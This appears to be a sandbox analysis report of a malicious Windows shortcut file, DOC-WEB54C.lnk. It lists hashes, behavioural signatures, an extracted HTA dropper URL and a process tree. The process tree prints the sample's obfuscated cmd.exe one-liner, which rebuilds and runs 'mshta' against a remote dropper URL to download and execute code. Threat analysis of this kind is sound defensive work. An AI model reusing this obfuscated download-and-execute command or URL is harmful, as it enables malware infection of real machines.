Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 13:28
Static task
static1
Behavioral task
behavioral1
Sample
DOC-WEB54C.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-WEB54C.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-WEB54C.lnk
- Size 2KB
- Sample260803-qq2bpszdlg
- SHA256 bee7365332f68a236e9487c77db14223d5ebf09199949d0bb6a7339a6b05329c
- MD5 d8d45740630d96894965a84fca904be3
- SHA1 7869c664d3bb4f8a968d9d013c562c9d2a4b42c6
- SHA512 f19dec77ae9a697ed11b74bc9004ab4c168f918e3c2662bbe34ad72aa8cf25e246e639afa8f1ee4210529802622f01415436c9d025e0f5589ff63ebe3d17a54b
- TLSH T1784129403BFD01E8F2FA9E72D8BE6B1189BBB9616D21C69C4564810C1533B01E4B7F67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1348 cmd.exe 4340 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1348 wrote to memory of 4340 1348 cmd.exe 86 PID 4340 wrote to memory of 3168 4340 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WEB54C.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set iJv=tmppzdvtgtjwbjwolbsroctetmp&set lCCmk=netjcqfsyjqeixzxfaeonet&set jhYCu=netowjnrebkpdctnet&set CNNb=oldoqbmexcfyxcold&set mT=cfgpqrrycfg&set ImBxf=s1imxg&&set KeU=opshtaz&set neEo=cfggootshezjzfhydcfg&set Qivpu=1u9sslr&&set qPfmh=8tartv&&set YFBWt=htt@ps:@//@b@ro@-@p@d@[email protected]/@h@/estag@[email protected]@?@r=@36076@1@F1@5794&&start /b !ImBxf:~3,1!!KeU:~2,4! !YFBWt:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:3168
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